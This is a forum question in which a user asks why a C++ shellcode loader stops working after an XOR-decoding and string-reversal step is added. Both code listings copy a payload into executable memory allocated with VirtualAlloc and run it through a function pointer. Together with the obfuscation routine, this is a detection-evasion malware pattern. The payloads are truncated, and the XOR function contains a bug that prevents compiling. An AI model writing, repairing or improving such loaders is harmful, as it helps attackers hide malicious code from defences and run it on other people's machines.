C++ Shellcode from char into virtualalloc & memcpy does not work

Discussion in 'C++' started by shity23, Oct 19, 2022.

  1. shity23

    shity23 New Member

    Joined:
    Sep 4, 2022
    Messages:
    2
    Likes Received:
    1
    Trophy Points:
    3
    Gender:
    Male
    I am having a hard time figuring out why the payload isn't working after reversing in decoder2.cpp. When I "cout" the output of the "Reverse(input);" I get a valid shellcode and can be inserted into decoder1.cpp without any problems.

    decoder1.cpp
    Code:
    int main()
    {
      //char code[]  = "\xfc\xe8\x8f...";  // INSERT SHELLCODE HERE
        void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, input, sizeof input);
        ((void(*)())exec)();
        return 0;
    }
    

    decoder2.cpp
    Code:
    void XORChiper(char orignalString[], int xorKey) {
       int len = strlen(orignalString);
       for (int i = 0; i < len; i++){
          orignalString = orignalString ^ xorKey;
       }
    }
    
    void Reverse(char name[])
    {  
       int nameLength = strlen(name)-1;
       for(int currentChar=0; currentChar < nameLength; --nameLength, ++currentChar)
       {   char temp = name[currentChar];
           name[currentChar] = name[nameLength];
           name[nameLength] = temp;
       }
    }
    
    
    int main(void)
    {
        char input[]   = "7>[7>[2c[aa[42[77...";
        int calc_len = sizeof(input);
        int key = 7;
        XORChiper(input,key);
        Reverse(input);
        void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, input, sizeof input);
        ((void(*)())exec)();
       return 0;
    
    }
    
    Again the cout "Reverse(input);" shellcode in the decoder2.cpp is inserted in with decoder1.cpp and it runs flawlessly but not with decooder2.cpp.
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice